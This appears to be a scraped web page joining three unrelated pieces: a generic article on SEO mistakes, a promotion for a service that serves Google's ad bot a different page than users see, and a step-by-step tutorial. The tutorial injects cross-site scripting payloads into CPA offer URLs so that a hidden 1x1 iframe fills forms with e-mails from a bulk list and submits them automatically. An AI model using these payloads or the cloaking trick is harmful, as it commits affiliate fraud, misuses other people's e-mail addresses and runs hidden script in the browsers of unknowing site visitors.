Common Mistakes in Search Engine Optimization and How to Avoid Them

If you want to achieve a strong online presence, you need to optimize your website for search engines for a higher exposure rate. And on that count search engine optimization or SEO is the best option if you want an easy way to obtain huge traffic on your website. However, some beginners who commit some mistakes on SEO practices. So aside from helping their website achieve huge number of visitors, those mistakes only do harm to the website. It is therefore crucial that you know the common mistakes that you should avoid.
The use of too much flash and scripts on the website
One popular mistake in SEO is the use of too many flash and other scripts in the website. Of course, it is a plus point if your website is appealing to the eye thus many website owners try to incorporate flash pages, which are not optimized for search engine to crawl. Since there is not enough content for search engine to index your first loading page, the spider will not be interested in your website. This will result to a very low page rank. If you really want to use flash in your website, it is recommended that you make up your flash page with some text and graphics that optimized correctly for the search engine.
Not maximizing what ALT tags can do for the content and the images
This is one recommendation that should not be forgotten- the need to use the ALT tags. These tags are used to describe the images that are used in the pages. Try to incorporate these tags every time images are used in the website. And when writing these ALT tags for the images, the best SEO efforts means including some of the keywords in these tags.
Keywords are considered as the foundation of search engine optimization. However, there are some who stuff their content with too many keywords. Overstuffing and using too much keyword in the resource will not help your cause. And when the spiders find out what you have been doing, then you are only courting disaster since the page ranking may be affected. Instead of keyword stuffing, a good strategy is writing good and informative resources that readers and internet users can really appreciate. At least by doing that, your site can get a return visit from the readers.
Content duplication
It is also a mistake to steal content from other websites. Take note that robots can distinguish an original content from a plagiarized one. You need to come up with good yet informative content to entice your readers to come back. Therefore, plagiarizing content is not conducive to your page ranking.
And lastly, most of the newbie SEO practitioners overlook the search engine guidelines. It is important to read and be familiar with these guidelines so as to avoid using the SEO techniques and practices that are prohibited. One of the bad or fraudulent techniques in SEO is the black hat. Consider these actions as unethical actions at least in the realm of internet and SEO. Once this is used, you may be at the risk of getting your website banned in the search engines. To put your online marketing on the right note means steering away from these common search engine optimization mistakes and traps.

Monetize your outbound link with AdSense

There is a new service in beta at http://www.cashlink.it that allows you to monetize your outbound links through AdSense.
It displays whatever page you want in an iframe while redirecting Google Mediabot to the real page in order to display targeted ads.
As an example here is a Cashlink.

Auto Fill and Submit CPA Forms

We will navigate through the tutorial using the scientific method because I am extremely bored.
Question
Can we effectively integrate a javascript injection into a URL to be loaded into an iframe so that the form will automatically fill and submit?
Background Research
I already knew how to do a javascript injection directly from the address bar by erasing everything from the bar and typing code, such as:

javascript:alert("Injection.");

which would cause the message "Injection" to pop up on the screen.
However, I needed something that could be appended to a URL so that I could easily put it into an iframe on my site. I resourced Google and found the XSS (Cross Site Scripting) Cheat Sheet at ha.ckers.org. I used the first example to concoct my own injection.
Hypothesis
With the proper injection string, a code can be appended to the end of a query string parameter by using techniques inspired by PHP injection in order to close the hidden input field used for the query string parameter and create our own code to execute javascript.
Materials
You will need:
Large e-mail list
Website
CPA network membership
Knowledge of how to retrieve and update your e-mail list
Procedure
1. You will need to test your e-mail submit CPA offers to see if we can exploit them. Please note that you will need to use your offer's real URL rather than your CPA tracking link.
To test for an exploit, add the following code to the end of the URL then load the page:

"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{alert("Exploited.";});</script>

So your URL will look like:

http://offerplace.com/index.php?id=388&ad=239"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{alert("Exploited.";});</script>

Your offer's URL most likely has parameters in the URL that tell it who's accessing it and who to credit the lead to. It looks something like ?id=293&ad=2898 etc. You've seen them before. Usually, the CPA pages store these values in hidden input field on the page, so those parameters would end up looking like:

<input type="hidden" name="id" value="293">
<input type="hidden" name="ad" value="2898">

As you can see, the parameters just get placed into the HTML. So if you add your javascript injection on to the last parameter, then you can directly manipulate the HTML.
The last parameter in my example was &ad=2898. What if you edited it so you can manipulate the page? Changing it to &ad=2898″><img src="http://site.com/img.jpg adds an image to the page.
Basically, what the site is doing is this:

<input type="hidden" name="ad" value="{your parameter}">

So if you change it, it becomes this:

<input type="hidden" name="ad" value="2898"><img src="http://site.com/img.jpg">

The bold, italic, underlined bit is our "parameter" (*wink*) that we passed. As you can see, we left out the closing "> tag in the URL parameter because the site is designed to add that automatically since it thinks it's going be given a proper value such as 2898. So you can add images…or a javascript code.
2. Now that that rambling is done, we can move on to the actual exploit. You need to find the name of the e-mail input field. If you know how to do this, then great. If not:
Load up the offer's source code. (View>Source, Page>View Source, Tools>View Source, many many ways depending on the browser). Hit CTRL+F to search and search for "<form". This will find the form.
Find the inputs (begin with "<input") and find one that obviously is an e-mail input. E-mail submit pages usually only have 1 or 2 inputs so it won't be hard to find. It will say "E-mail" next to it or the name attribute (name="") will say "email", "em", "appData[em]" or something like that.
Once you find it, take note of what the name attribute is (<input type="text" name="myEmail"> -> name is myEmail).
3. We need to edit our injection to make sure we can inject an e-mail into the form. If your first injection test worked, this will most likely work as well. So load up the offer again without any injection code, just the plain, original URL, and add the following to the end of the URL:

"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{document.forms[0].email.value="email@email.com";});</script>

So your URL will look like:

http://offerplace.com/index.php?id=388&ad=2398"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{document.forms[0].email.value="email@email.com";});</script>

You will need to replace the blue text with the input name you got in step 2.
Load the page and now the input box should say "email@email.com".
4. If step 3 worked, we can move on. If not, make sure you used the correct input name and kept the proper syntax I provided. If you're sure you did it right and it still doesn't work, then move on to a new offer.
All we need to do now is add one bit of code to submit the offer. So, again with the original URL of the offer, add the following:

"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{document.forms[0].email.value="email@email.com";document.forms[0].submit();});</script>

So again, your URL will look like:

http://offerplace.com/index.php?id=388&ad=2398"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{document.forms[0].email.value="email@email.com";document.forms[0].submit();});</script>

Load the URL and your form should fill with "email@email.com" then submit automatically.
5. If step 4 worked, all you need to do is include that URL in an iframe. You must use single quotes to enclose the iframe attributes since our URL uses double-quotes and you must keep those double quotes.
So:

<iframe src='http://offerplace.com/index.php?id=388&ad=2398"><script%20src="http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js"%20type="text/javascript"></script><script%20type="text/javascript">$(document).ready(function()%20{document.forms[0].email.value="email@email.com";document.forms[0].submit();});</script>' width='1' height='1' frameborder='0' scrolling='no'></iframe>

You may want to blank your referrer with referer.us. So you would just insert "http://referer.us/" before the URL. Your injection will still work.
Conclusion
You can use this on virtually any web page to turn every visitor into a lead as long as you have a lot of valid e-mails. You will need a way to access your e-mail database and mark them as "used" once you use it to submit your offer. I don't teach that here but the way I do it is with a MySQL database.
I have a table called "mass_mail" with one field called "email" and one called "used". I select the first e-mail where "used" equals "no", use it for the offer, then update "used" to say "yes".
You could also use a PHP array:
$emails = array(
1 => array(
"email" => "email_address",
"used" => "no"
),
2 => array(
"email" => "email_address",
"used" => "no"
)
);

and then search it for the first unused e-mail.
Or store them in a text file.
